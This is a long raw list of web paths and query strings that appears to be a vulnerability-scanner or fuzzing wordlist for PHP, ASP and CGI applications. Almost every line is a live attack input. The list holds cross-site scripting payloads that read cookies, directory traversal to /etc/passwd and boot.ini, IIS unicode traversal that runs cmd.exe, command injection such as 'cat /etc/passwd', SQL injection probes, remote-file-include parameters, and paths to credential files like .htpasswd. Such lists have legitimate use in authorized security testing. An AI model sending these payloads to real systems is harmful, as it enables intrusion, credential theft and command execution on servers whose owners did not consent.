/admin/admin_hacks_list.php?setmodules=3D1&board_conf=ig[default_lang]=3Denglish&phpEx=3D401637099996
/admin/admin_login_validate.php
/admin/admin_phpinfo.php4
/admin/adminproc.asp
/admin/adminsettings/943093935.asp
/admin/adminsettings/browsewebalizerexe.asp
/admin/approveComment.asp?id=402957100869'error
/admin/auth.php
/admin/auth.php?xcart_dir=
/admin/autosignup/97690928.asp
/admin/autosignup/dsp_newwebadmin.asp
/admin/backup.php
/admin/browse.asp?FilePath=c:\&Opt=2&level=0
/admin/cal_login.php?op=login
/admin/cfg/configscreen.inc.php+
/admin/cfg/configsite.inc.php+
/admin/cfg/configsql.inc.php+
/admin/cfg/configtache.inc.php+
/admin/classes/minixml/classes/doc.inc.php
/admin/classes/minixml/classes/element.inc.php
/admin/classes/minixml/classes/node.inc.php
/admin/cms/htmltags.php
/admin/code/index.php
/admin/connect.inc
/admin/contextAdmin/1620668132.html
/admin/contextAdmin/contextAdmin.html
/admin/cpconfig.php
/admin/cplogfile.log
/admin/credit_card_info.php
/admin/cron.php?path_to_config=/../../../../../../../../boot.ini%00
/admin/cron.php?path_to_config=/../../../../../../../../etc/passwd%00
/admin/cron.php?path_to_config=/../../../../../../../../winnt/win.ini%00
/admin/database.php?action=write&userID=1
/admin/database/wwForum.mdb
/admin/datasource.asp
/admin/db.inc
/admin/db.php
/admin/db.php?dump_sql=1
/admin/dbg_infos.php
/admin/delete.asp
/admin/departments.php?projectIssueId=%22%3E%3Cscript%3Ealert(xss)%3C/script%3E%3C%22
/admin/doeditconfig.php?thispath=../includes&config[path]=
/admin/dsn/1000058475.asp
/admin/dsn/dsnmanager.asp?DSNAction=ChangeRoot&RootName=....................boot.ini
/admin/dsn/dsnmanager.asp?DSNAction=ChangeRoot&RootName=..\..\..\..\..\..\..\..\..\..\boot.ini
/admin/edit.asp?id=-1%27
/admin/editcatalogue.php?cat=%3Cscript%3Ealert%288486%29%3C%2Fscript%3E
/admin/emoticonlist.php?lang=1&l_emoticonlist=%3C%2Ftitle%3E%3Cscript%3Ealert%289282%29%3C%2Fscript%3E
/admin/exec.php3
/admin/exec.php3?cmd=cat%20/etc/passwd
/admin/exec.php3?cmd=dir%20c:\
/admin/file_manager.php?action=download&filename=../../../../../../../../etc/passwd
/admin/filemanager/preview.php?file=%22%3E%3Cscript%3Ealert%283152%29%3C%2Fscript%3E
/admin/filemanager/preview.php?file=1&x=%22%3E%3Cscript%3Ealert%283154%29%3C%2Fscript%3E
/admin/filemanager/preview.php?file=1&y=%22%3E%3Cscript%3Ealert%283156%29%3C%2Fscript%3E
/admin/forgot_pass.php?submit=1&user_name=-1%27
/admin/fr-toc.html
/admin/geo_zones.php?zone=%3Cscript%3Ealert(xss)%3C/script%3E
/admin/header.inc.php?charset=%27%3E%3Cscript%3Ealert%283240%29%3C%2Fscript%3E
/admin/header.inc.php?la_adm_header=%3C%2Ftitle%3E%3Cscript%3Ealert%283238%29%3C%2Fscript%3E
/admin/header.inc.php?site_name=%3C%2Ftitle%3E%3Cscript%3Ealert%283236%29%3C%2Fscript%3E
/admin/header.php?admin%5Bname%5D=%3Cscript%3Ealert%289002%29%3C%2Fscript%3E
/admin/heading.php
/admin/htmlarea/popups/file/files.php?q=%3Cscript%3Ealert('xss405837103121')%3C/script%3E&Mode=apparel
/admin/image.php?image=%3Cscript%3Ealert%283234%29%3C%2Fscript%3E
/admin/inc/change_action.php?format_menue=
/admin/include/header.php?repertoire=
/admin/includes/dbtables.inc
/admin/includes/initsystem.php?loader_file=/../../../../../../../../boot.ini%00
/admin/includes/initsystem.php?loader_file=/../../../../../../../../etc/passwd%00
/admin/includes/initsystem.php?loader_file=/../../../../../../../../winnt/win.ini%00
/admin/includes/languages/english.php?_SESSION[language]=/../../../../../../../../boot.ini%00
/admin/includes/languages/english.php?_SESSION[language]=/../../../../../../../../etc/passwd%00
/admin/includes/languages/english.php?_SESSION[language]=/../../../../../../../../winnt/win.ini%00"
/admin/index.html?message=%3Cscript%3Ealert%289552%29%3C%2Fscript%3E
/admin/index.php
/admin/index.php/"><script>alert(3178)</script>
/admin/index.php/%22%3E%3Cscript%3Ealert(xss)%3C/script%3E%3Ctd%20class=%22p
/admin/index.php?lang=123
/admin/index.php?loginmessage=%22%3E%3Cscript%3Ealert%282866%29%3C%2Fscript%3E
/admin/index.php?msg=1&username=%22%3E%3Cscript%3Ealert%28402427100535%29%3C%2Fscript%3E%3C%22
/admin/index.php?o=
/admin/index.php?page=general&step=2
/admin/layout2b.php?no_rgcheck=true&lang=1&do_login=1&l_username=%3C%2Ftd%3E%3Cscript%3Ealert%289264%29%3C%2Fscript%3E%3Ctd%3E
/admin/login.asp
/admin/login.php
/admin/login.php?action=insert&username=test&password=test
/admin/login.php?email=%22%3E%3Cscript%3Ealert%283158%29%3C%2Fscript%3E
/admin/login.php?path=\"></form><form name=a><input name=i value=XSS>&lt;script>alert('Vulnerable')</script>
/admin/main.asp
/admin/managesettings.php
/admin/mod_plugins.php
/admin/moderation
/admin/mods/SimpleChat_1.0.0/chat_panel.php?talk=1
/admin/modules/cache.php+
/admin/nav.php?la_search_home=%3Cscript%3Ealert%283232%29%3C%2Fscript%3E
/admin/nav.php?site_url=%22%3E%3Cscript%3Ealert%283230%29%3C%2Fscript%3E%3Cnoscript%3E
/admin/objects.inc.php4
/admin/operators.php?projectIssueId=%22%3E%3Cscript%3Ealert(xss)%3C/script%3E%3C%22
/admin/options.php
/admin/password.php?action=sendmail
/admin/password_forgotten.php
/admin/phpinfo.php
/admin/plog-themes.php?activate=%2500%27
/admin/print_order.php?order_id=%27
/admin/print_order.php?order_id=%3Cscript%3Ealert%283228%29%3C%2Fscript%3E
/admin/processlogin.php
/admin/salesadmin.php?resultpage=%3Cscript%3Ealert%288488%29%3C%2Fscript%3E
/admin/script.php
/admin/serv_u/830697260.asp
/admin/serv_u/servubrowse.asp
/admin/server_day_stats.php?year=2006%3Cscript%3Ealert%282492%29%3C%2Fscript%3E&month=05&day=2
/admin/server_day_stats.php?year=2006&month=05%3Cscript%3Ealert%282494%29%3C%2Fscript%3E&day=2
/admin/server_day_stats.php?year=2006&month=05&day=2%3Cscript%3Ealert%282496%29%3C%2Fscript%3E
/admin/settings.inc.php+
/admin/setup.php
/admin/sh_taskframes.asp?Title=Configuraci%C3%B3n%20de%20registro%20Web&URL=MasterSettings/Web_LogSettings.asp?tab1=TabsWebServer%26tab2=TabsWebLogSettings%26__SAPageKey=5742D5874845934A134CD05F39C63240&ReturnURL=\"><script>alert(document.cookie)</script>
/admin/signin.aspx?returnurl=>"><script>alert(document.domain)</script>
/admin/stats/1975768696.asp
/admin/stats/statsbrowse.asp
/admin/system.php3?cmd=cat%20/etc/passwd
/admin/system.php3?cmd=dir%20c:\
/admin/system_footer.php
/admin/templates/header.php
/admin/upload.asp
/admin/upload.htm
/admin/upload.php
/admin/wg_user-info.ml
/admin4.nsf
/admin5.nsf
/admin_
/admin_/
/admin_/help/..%255Cplsql.conf
/admin_category_details.asp?mode=%3Cscript%3Ealert%289988%29%3C%2Fscript%3E
/admin_files/
/admin_login
/admin_logon
/admin_modules/admin_module_deldir.inc.php?config[path_src_include]=
/admin_t/include/aff_liste_langue.php
/admin_t/include/aff_liste_langue.php?rep_include=
/admincp/
/admincp/2029875315.php
/admincp/auth/checklogin.php?cfgProgDir=
/admincp/css.php?do=doedit&dostyleid=1&group=%3Cscript%3Ealert%281030%29%3C/script%3E
/admincp/index.php?do=buildnavprefs&nojs=0&prefs=%22%3E%3Cscript%3Ealert%283468%29%3C%2Fscript%3E
/admincp/index.php?do=buildnavprefs&nojs=0&prefs=%22%3E%3Cscript%3Ealert%288446%29%3C%2Fscript%3E
/admincp/index.php?do=savenavprefs&nojs=0&navprefs=%22%3E%3Cscript%3Ealert%283470%29%3C%2Fscript%3E
/admincp/index.php?do=savenavprefs&nojs=0&navprefs=%22%3E%3Cscript%3Ealert%288448%29%3C%2Fscript%3E
/admincp/index.php?redirect=%3Cscript%3Ealert%281032%29%3C/script%3E
/admincp/index.php?redirect=%3Cscript%3Ealert%289936%29%3C%2Fscript%3E
/admincp/index.php?vb_login_username=<script>alert(document.cookie)</script>
/admincp/language.php?do=rebuild&goto=%3Cscript%3Ealert%281036%29%3C/script%3E
/admincp/modlog.php?do=view&orderby=%3Cscript%3Ealert%281038%29%3C/script%3E
/admincp/template.php?do=colorconverter&hex=%3Cscript%3Ealert%281040%29%3C/script%3E
/admincp/template.php?do=colorconverter&rgb=%3Cscript%3Ealert%281042%29%3C/script%3E
/admincp/template.php?do=modify&expandset=%3Cscript%3Ealert%281044%29%3C/script%3E
/admincp/user.php?do=emailpassword&email=%3Cscript%3Ealert%281034%29%3C/script%3E
/admincp/user.php?do=find&orderby=username&limitnumber=%27
/admincp/user.php?do=find&orderby=username&limitstart=%27
/administration/
/administration/fr-toc.html
/administrator
/administrator/
/administrator/1804913852.php
/administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=
/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=
/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=
/administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=
/administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=
/administrator/components/com_joom12pic/admin.joom12pic.php?mosConfig_live_site=
/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=
/administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_path=
/administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=
/administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=
/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=
/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=
/administrator/components/com_webring/admin.webring.docs.php?component_dir=
/administrator/gallery/gallery.php?directory=\"<script>alert(document.cookie)</script>
/administrator/gallery/navigation.php?directory=\"<script>alert(document.cookie)</script>
/administrator/gallery/uploadimage.php
/administrator/gallery/uploadimage.php?directory=\"<script>alert(document.cookie)</script>
/administrator/gallery/view.php?path=\"<script>alert(document.cookie)</script>
/administrator/index2.php
/administrator/index2.php?PHPSESSID=1&myname=admin&fullname=admin&userid=administrator
/administrator/popups/index3pop.php?mosConfig_sitename=%3C%2Ftitle%3E%3Cscript%3Ealert%2810084%29%3C%2Fscript%3E
/administrator/popups/index3pop.php?mosConfig_sitename=%3C%2Ftitle%3E%3Cscript%3Ealert%282850%29%3C%2Fscript%3E
/administrator/popups/pollwindow.php?pollid=1%27
/administrator/popups/sectionswindow.php?type=web&link=\"<script>alert(document.cookie)</script>
/administrator/upload.php?newbanner=1&choice=\"<script>alert(document.cookie)</script>
/adminlogin?RCpage=/sysadmin/index.stm
/adminlogon
/adminsample/
/adminuser/
/admisapi/
/admisapi/2139700720.htm
/admisapi/fpadmin.htm
/admission/
/adodb/tests/tmssql.php?do=undefined_special_function&sql=generate_sql_error
/adovbs.inc
/adpassword.txt
/adsamples/
/adsamples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/568196821.exe
/adsamples/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
/adsamples/..%%35c../..%%35c../..%%35c../winnt/system32/957090308.exe
/adsamples/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
/adsamples/..%255c..%255c..%255c..%255cwinnt/system32/394540212.exe
/adsamples/..%255c..%255c..%255c..%255cwinnt/system32/718115092.exe
/adsamples/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir
/adsamples/..%255c../..%255c../..%255c../winnt/system32/1352339894.exe
/adsamples/..%255c../..%255c../..%255c../winnt/system32/1451121424.exe
/adsamples/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
/adsamples/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/1890983539.exe
/adsamples/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/807172037.exe
/adsamples/..%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe?/c+dir
/adsamples/..%e0%80%af../winnt/system32/2041300418.exe
/adsamples/..%e0%80%af../winnt/system32/656687045.exe
/adsamples/..%e0%80%af../winnt/system32/cmd.exe?/c+dir
/adsamples/..%f0%80%80%af../winnt/system32/1802325202.exe
/adsamples/..%f0%80%80%af../winnt/system32/888571328.exe
/adsamples/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir
/adsamples/..%f8%80%80%80%af../winnt/system32/1307727365.exe
/adsamples/..%f8%80%80%80%af../winnt/system32/537766158.exe
/adsamples/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/adsamples/..%fc%80%80%80%80%af../winnt/system32/1420690761.exe
/adsamples/..%fc%80%80%80%80%af../winnt/system32/349927683.exe
/adsamples/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir
/adsamples/config/site.csc
/adsearch.php?title=1&desc=on&closed=on&category='
/adv/gm001-mc/
/advwebadmin/
/advwebadmin/SQLServ/404450290.asp
/advwebadmin/SQLServ/sqlbrowse.asp
/advwebadmin/adminsettings/1130365689.asp
/advwebadmin/adminsettings/browsedisk.asp
/advwebadmin/adminsettings/browsewebalizerexe.asp
/advwebadmin/autosignup/636334573.asp
/advwebadmin/autosignup/dsp_newwebadmin.asp
/advwebadmin/serv_u/1249853297.asp
/advwebadmin/serv_u/servubrowse.asp
/advworks/
/advworks/equipment/catalog_type.asp
/adxmlrpc.php
/afb-3-beta-2007-08-28/_includes/settings.inc.php?approot=
/aff_news.php
/affich.php?image=<script>alert(document.cookie)</script>
/affiliates/
/afmsearch.aspx
/agencies/
/agendax/addevent.inc.php?agendax_path=
/agent/
/agent_affil.pl?login=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22405877103164%22%29%3B%3C%2F%73%63%72%69%70%74%3E
/agentadmin.php
/agentadmin.php?agentname='
/agentes/
/agentrunner.nsf
/agents/
/ajax.php?rs=__exp__getFeedContent&rsargs%5B%5D=%27
/ajax/sortcategories.php?CategoryID=%27
/ajaxp_backend.php
/ajfork/inc/859634294.mdu
/ajfork/inc/main.mdu
/akocomments.php?mosConfig_absolute_path=
/akopia/
/aktivate/cgi-bin/catgy.cgi?key=0&cartname=axa200135022551089&desc=<script>alert('Vulnerable')</script>
/al_initialize.php?alpath=
/album.asp?cat=%3Cscript%3Ealert%282884%29%3C%2Fscript%3E&albumid=1
/album.asp?cat=&albumid=%3Cscript%3Ealert%282886%29%3C%2Fscript%3E
/album.php?albumID=1'405597102929
/album/
/album_portal.php?phpbb_root_path=
/albums/userpics/Copperminer.jpg.php?cat%20/etc/passwd
/alert/
/alerts/
/alias/
/all"*/newbb/print.php?forum=*topic_id=*"
/all"*/newbb_plus/*="
/all"*/news/archive.php?op=*year=*month=*"
/all"*/tsep/include/colorswitch.php?tsep_config[absPath]=*"
/all".php?Page_ID="
/all".php?S="
/all".php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path="
/all".php?a="
/all".php?abrir="
/all".php?act="
/all".php?action="
/all".php?ad="
/all".php?archive="
/all".php?area="
/all".php?article="
/all".php?b="
/all".php?back="
/all".php?base="
/all".php?basedir="
/all".php?bbs="
/all".php?board_no="
/all".php?body="
/all".php?c="
/all".php?cal_dir="
/all".php?cat="
/all".php?category="
/all".php?choice="
/all".php?class="
/all".php?club_id="
/all".php?cod.tipo="
/all".php?cod="
/all".php?conf="
/all".php?configFile="
/all".php?cont="
/all".php?corpo="
/all".php?cvsroot="
/all".php?d="
/all".php?da="
/all".php?date="
/all".php?debug="
/all".php?debut="
/all".php?default="
/all".php?destino="
/all".php?dir="
/all".php?display="
/all".php?east="
/all".php?f="
/all".php?f_content="
/all".php?file="
/all".php?file_id="
/all".php?filepath="
/all".php?flash="
/all".php?folder="
/all".php?for="
/all".php?form="
/all".php?formatword="
/all".php?from="
/all".php?funcao="
/all".php?function="
/all".php?g="
/all".php?get="
/all".php?go="
/all".php?gorumDir="
/all".php?goto="
/all".php?h="
/all".php?headline="
/all".php?i="
/all".php?inc="
/all".php?include="
/all".php?includedir="
/all".php?inter="
/all".php?item_id="
/all".php?itemid="
/all".php?j="
/all".php?join="
/all".php?jojo="
/all".php?l="
/all".php?la="
/all".php?lan="
/all".php?lang="
/all".php?lest="
/all".php?link="
/all".php?load="
/all".php?loc="
/all".php?m="
/all".php?main="
/all".php?meio.php="
/all".php?meio="
/all".php?menu="
/all".php?menuID="
/all".php?mep="
/all".php?mid="
/all".php?month="
/all".php?mostra="
/all".php?my="
/all".php?n="
/all".php?name="
/all".php?nav="
/all".php?new="
/all".php?news="
/all".php?next="
/all".php?nextpage="
/all".php?o="
/all".php?op="
/all".php?open="
/all".php?option="
/all".php?origem="
/all".php?p="
/all".php?pageurl="
/all".php?para="
/all".php?part="
/all".php?perm="
/all".php?pg="
/all".php?pid="
/all".php?place="
/all".php?play="
/all".php?plugin="
/all".php?pm_path="
/all".php?pollname="
/all".php?post="
/all".php?pr="
/all".php?prefix="
/all".php?prefixo="
/all".php?q="
/all".php?redirect="
/all".php?ref="
/all".php?refid="
/all".php?regionId="
/all".php?release="
/all".php?release_id="
/all".php?return="
/all".php?root="
/all".php?searchcode_id="
/all".php?sec="
/all".php?secao="
/all".php?sect="
/all".php?sel="
/all".php?server="
/all".php?servico="
/all".php?sg="
/all".php?shard="
/all".php?show="
/all".php?sid="
/all".php?site="
/all".php?sourcedir="
/all".php?start="
/all".php?storyid="
/all".php?str="
/all".php?subd="
/all".php?subdir="
/all".php?subject="
/all".php?sufixo="
/all".php?systempath="
/all".php?t="
/all".php?task="
/all".php?teste="
/all".php?theme_dir="
/all".php?thread_id="
/all".php?tid="
/all".php?title="
/all".php?to="
/all".php?topic_id="
/all".php?type="
/all".php?u="
/all".php?url="
/all".php?urlFrom="
/all".php?v="
/all".php?var="
/all".php?vi="
/all".php?view="
/all".php?visual="
/all".php?wPage="
/all".php?y="
/all".php?z="
/all".php?zo="
/all"/include/init.inc.php?CPG_M_DIR="
/all"/includes/mx_functions_ch.php?phpbb_root_path="
/all"/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]="
/allPackages.php?sourcedir=
/all_calendars.asp?calsids=error402377100490)
/all_functions.php?prefix
/all_functions.php?prefix=
/alladdedit.php?root_dir=
/alladdevent.inc.php?agendax_path=
/alladmin.php?cal_dir=
/allaffich.php?base=
/allaire/
/allalbum_portal.php?phpbb_root_path=
/allcom_extended_registration
/allcontacts.php?cal_dir=
/allconvert-date.php?cal_dir=
/alldefault.php?page=
/alldefault/theme.php?THEME_DIR=
/alldisplayCategory.php?basepath=
/alleditor.php?root=
/allexibir.php?abre=
/allexibir.php?get=
/allexibir.php?lang=
/allexibir.php?p=
/allexibir.php?page=
/allexpanded.php?conf=
/allgemein_transfer.php?monat=4&jahr=%3Cscript%3Ealert%282120%29%3C%2Fscript%3E
/allgrademade/index.php?page=
/allheader.php?systempath=
/allinclude.php?gorumDir=
/allindex.php?a=
/allindex.php?acao=
/allindex.php?action=
/allindex.php?b=
/allindex.php?c=
/allindex.php?cal=
/allindex.php?configFile=
/allindex.php?d=
/allindex.php?directfile=
/allindex.php?e=
/allindex.php?f=
/allindex.php?funcion=
/allindex.php?g=
/allindex.php?gorumdir=
/allindex.php?h=
/allindex.php?i=
/allindex.php?include=
/allindex.php?ir=
/allindex.php?j=
/allindex.php?k=
/allindex.php?l=
/allindex.php?ll=
/allindex.php?lng=../../include/main.inc&G_PATH=
/allindex.php?lnk=
/allindex.php?loc=
/allindex.php?lv1=
/allindex.php?m=
/allindex.php?meio.php=
/allindex.php?middle=
/allindex.php?n=
/allindex.php?o=
/allindex.php?open=
/allindex.php?p=
/allindex.php?page=
/allindex.php?pageurl=
/allindex.php?path=
/allindex.php?pg=
/allindex.php?prefix=
/allindex.php?q=
/allindex.php?r=
/allindex.php?root_PATH=
/allindex.php?s=
/allindex.php?secao=
/allindex.php?seite=
/allindex.php?server=
/allindex.php?sub2=
/allindex.php?sub=
/allindex.php?t=
/allindex.php?theme=
/allindex.php?u=
/allindex.php?v=
/allindex.php?visualizar=
/allindex.php?x=
/allindex.php?y=
/allindex.php?z=
/allindex2.php?a=
/allindex2.php?acao=
/allindex2.php?b=
/allindex2.php?c=
/allindex2.php?cal=
/allindex2.php?cont=
/allindex2.php?content=
/allindex2.php?d=
/allindex2.php?directfile=
/allindex2.php?e=
/allindex2.php?f=
/allindex2.php?funcion=
/allindex2.php?g=
/allindex2.php?gorumdir=
/allindex2.php?h=
/allindex2.php?i=
/allindex2.php?j=
/allindex2.php?k=
/allindex2.php?l=
/allindex2.php?lang=
/allindex2.php?language=
/allindex2.php?ll=
/allindex2.php?lnk=
/allindex2.php?lv1=
/allindex2.php?m=
/allindex2.php?n=
/allindex2.php?o=
/allindex2.php?p=
/allindex2.php?pag=
/allindex2.php?path=
/allindex2.php?pg=
/allindex2.php?prefix=
/allindex2.php?q=
/allindex2.php?r=
/allindex2.php?root_PATH=
/allindex2.php?s=
/allindex2.php?server=
/allindex2.php?sub2=
/allindex2.php?sub=
/allindex2.php?t=
/allindex2.php?theme=
/allindex2.php?u=
/allindex2.php?v=
/allindex2.php?x=
/allindex2.php?y=
/allindex2.php?z=
/allindex2:php?aa=
/allindex3:php?aa=
/allindex5.php?body=
/allindex5.php?cat=
/allindex5.php?configFile=
/allindex5.php?cont=
/allindex5.php?content=
/allindex5.php?do=
/allindex5.php?inc=
/allindex5.php?include=
/allindex5.php?lang=
/allindex5.php?language=
/allindex5.php?lv1=
/allindex5.php?m=
/allindex5.php?main=
/allindex5.php?open=
/allindex5.php?p=
/allindex5.php?pag=
/allindex5.php?page=
/allindex5.php?pagina=
/allindex5.php?pg=
/allindex5.php?root=
/allindex5.php?site=
/allindex5.php?visualizar=
/allindex5.php?x=
/allindex_table.php?root_dir=
/allinit.inc.php?CPG_M_DIR=
/allinit.php?HTTP_POST_VARS=
/allinitdb.php?absolute_path=
/alllib.inc.php?pm_path=
/alllib.php?root=
/allmain.php?page=
/allmain.php?x=
/allmainfile.php?MAIN_PATH=
/allmod_mainmenu.php?mosConfig_absolute_path=
/allmodule_db.php?pivot_path=
/allnew-visitor.inc.php?lvc_include_dir=
/allphpshop/index.php?base_dir=
/allpipe.php?HCL_path=
/allsecure_img_render.php?p=
/allstart_lobby.php?CONFIG[MWCHAT_Libs]=
/allstep_one.php?server_inc=
/allstep_one_tables.php?server_inc=
/alltemplate.php?pagina=
/alltheme.php?THEME_DIR=
/allupgrade_album.php?GALLERY_BASEDIR=
/allview.php?root_dir=
/allviewgantt.php?root_dir=
/allvw_files.php?root_dir=
/allwrite.php?dir=
/alog.nsf
/am.pl?login=../../../../../../../../boot.ini%00&action=add_department
/am.pl?login=../../../../../../../../etc/passwd%00&action=add_department
/am.pl?login=../../../../../../../../winnt/win.ini%00&action=add_department
/amember/plugins/payment/linkpoint/linkpoint.inc.php?config[root_dir]=
/ammerum/
/analog-5.1/
/analog/
/analyze/
/andromeda.php?q=s&sm=fi&s=%3CIFRAME%20SRC=javascript:alert(%2527xss403277101162%2527)%3E%3C/IFRAME%3E&x=9&y=7
/announcements.php?phpraid_dir=
/ans.pl?p=../../../../../usr/bin/id|&blah
/ans/ans.pl?p=../../../../../usr/bin/id|&blah
/anthill/buglist.php?type=all&allclass=all&search=<script>alert(document.location)</script>
/anthill/login.php
/antiboard-0.7.2/1285881264.php
/antiboard-0.7.2/antiboard.php?thread_id='
/antispam/listdel?file=blacklist&name=b<script>alert('Vulnerable')</script>&startline=0
/antispam/listdel?file=whitelist&name=a<script>alert('Vulnerable')</script>&startline=0(naturally)
/anyfile.jsp
/apache/
/apage/lcgi-bin/ndsobj.nlm
/apage/lcgi-bin/sewse.nlm?sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+httplist/../../../../../system/autoexec.ncf
/apex/
/aplogon.html
/app
/app/
/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=
/app/webeditor/login.cgi?username=&command=simple&do=edit&password=&file=
/appdet.html
/application
/application.cfm
/application.php?base_path=../../../../../../../../boot.ini%00
/application.php?base_path=../../../../../../../../etc/passwd%00
/application.php?base_path=../../../../../../../../winnt/win.ini%00
/application/
/application_assemblies/
/application_browsers/
/application_code/
/application_data/
/application_globalresources/
/application_localresources/
/application_themes/
/application_webreferences/
/applications/
/applicattion/
/applicattions/
/applist.asp
/approval/ts_app.htm
/apps
/apps/
/apps/apps.php?app=
/apps/web/index.fcgi?servers=&section=<script>alert('XSS')</script>
/apps/web/index.fcgi?servers=&section=<script>alert(document.cookie)</script>
/apps/web/vs_diag.cgi?server=<script>alert('Vulnerable')</script>
/apps/web/vs_diag.cgi?server=<script>alert(document.cookie)</script>
/appscan.htm
/appserv/main.php?appserv_root=
/appweb/
/apt/
/ar/
/arch/
/archivar/
/archive
/archive.asp
/archive.php?blogid=%27
/archive.php?blogid=1&cid=%27
/archive.php?blogid=1&eid=%27
/archive.php?blogid=1&pid=%27
/archive.php?blogid=force_error_for_test_reason
/archive.php?cid=%27
/archive.php?m=%27
/archive.php?pid=%27
/archive.php?y=%27
/archive/
/archive/a_domlog.nsf
/archive/index.php?_SERVER%5BHTTP_CLIENT_IP%5D=%27
/archive/l_domlog.nsf
/archive_forum.asp
/archives/
/archivo/
/area.View.action?areaID=%3Cscript%3Ealert%282056%29%3C%2Fscript%3E
/area.View.action?areaID=%3Cscript%3Ealert('xss401957100242')%3B%3C/script%3E&time=%3Cscript%3Ealert('xss401957100242')%3B%3C/script%3E
/arg.php?arg=
/args.php?arg=
/ariadne/
/arquivo.php?data=
/art/
/article.cfm?id=1'<script>alert(document.cookie);</script>
/article.php?article=1&post=1111111111111111111111111111
/article.php?article=4965&post=1111111111
/article.php?sid=
/article.php?sid=%27
/article.php?sid=1
/article.php?sid=\"><Img Src=javascript:alert('Vulnerable')><Img Src=\"
/article/
/article/profile.php?author_id=1%27
/articles.cgi?a=34&t=
/articles.php?action=file&id=%27
/articles/index.php?feedback=%3Cscript%3Ealert%282938%29%3C%2Fscript%3E
/ashnews.php
/asp
/asp.net/
/asp/
/asp/SQLQHit.asp
/asp/samples/viewcode.asp?file=index.asp
/asp/sqlqhit.asp
/aspnet
/aspnet/
/aspnet_client/
/aspsamp/
/aspstats/
/aspx/
/assemblies/
/assets/
/atc/
/athenareg.php?pass=%20;cat%20/etc/passwd
/atl.cgi?ct=%22%3E%3Cscript%3Ealert(1126)%3C/script%3E
/atl.cgi?ct=a8&md=search&brf=&before=%22%3E%3Cscript%3Ealert(1128)%3C/script%3E
/atom.php5?page=
/atomicboard/index.php?location=../../../../../../../../../../etc/passwd
/attachments.php?file=../../../../../../../../../../../../../../../etc/passwd
/auction_rating.php?mode=view&u='
/auktion.pl?menue=
/auth
/auth.inc.php
/auth.php
/auth/
/auth_user_file.txt
/authadmin
/authadmin/
/authldap.php?includePath=/../../../../../../../../boot.ini%00
/authldap.php?includePath=/../../../../../../../../etc/passwd%00
/authldap.php?includePath=/../../../../../../../../winnt/win.ini%00
/author.asp
/authordetail.php?autid=%27
/auto.php?inc=
/auto.php?page=
/autohtml.php?op=modload&mainfile=x&name=/etc/passwd
/autohtml.php?op=modload&name=/../../../../../../../../etc/passwd
/autologon.html?10514
/aux
/aux/
/auxpage.php?page=../../../../../../../../boot.ini%00
/auxpage.php?page=../../../../../../../../etc/passwd%00
/auxpage.php?page=../../../../../../../../winnt/win.ini%00
/avatar.php?page=
/aw/
/awebvisit.stat
/awstats.pl?config=www.AppScan.com&%22onload=%22alert%2810056%29%2F%2F
/awstats.pl?hostfilter=%3Cscript%3Ealert%282212%29%3C%2Fscript%3E&hostfilterex=&output=allhosts&config=unsecured-systems.com&year=2006&month=all
/awstats.pl?hostfilter=&hostfilterex=%3Cscript%3Ealert%282214%29%3C%2Fscript%3E&output=allhosts&config=unsecured-systems.com&year=2006&month=all
/awstats.pl?refererpagesfilter=%3Cscript%3Ealert%282204%29%3C%2Fscript%3E&refererpagesfilterex=&output=refererpages&config=unsecured-systems.com&year=2006&month=all
/awstats.pl?refererpagesfilter=&refererpagesfilterex=%3Cscript%3Ealert%282206%29%3C%2Fscript%3E&output=refererpages&config=unsecured-systems.com&year=2006&month=all
/awstats.pl?urlfilter=%3Cscript%3Ealert%282210%29%3C%2Fscript%3E&urlfilterex=&output=urlentry&config=unsecured-systems.com&year=2006&month=all
/awstats.pl?urlfilter=&urlfilterex=%3Cscript%3Ealert%282208%29%3C%2Fscript%3E&output=urlentry&config=unsecured-systems.com&year=2006&month=all
/axis-cgi/buffer/command.cgi
/axis/EchoHeaders.jws
/axis/fingerprint.jsp
/axis/happyaxis.jsp
/axis/noSuchWebService.jws?wsdl
/ayuda/
/azdlite/
/azdlite/1371744062.php
/azdlite/index.php?l=en"><script>alert(document.cookie);</script>
/azdlite/view.php?l=&id=<script>alert(document.cookie);</script>
/b2-include/b2edit.showposts.php
/b2-include/b2edit.showposts.php?b2inc=/NONEXISTENT
/b2-tools/gm-2-b2.php
/back/
/backdoor/
/backend
/backup
/backup/
/backups
/backups/
/baddir123"><script>alert(097531);</script>
/baddir123/
/baddir123/.DS_Store
/baddir123/.FBCIndex
/baddir123/.access
/baddir123/.addressbook
/baddir123/.bash_history
/baddir123/.bashrc
/baddir123/.forward
/baddir123/.htaccess
/baddir123/.htaccess.old
/baddir123/.htpasswd
/baddir123/.passwd
/baddir123/2008298485.txt
/baddir123/?M=A
/baddir123/CHANGELOG.htm
/baddir123/CHANGELOG.html
/baddir123/CHANGES
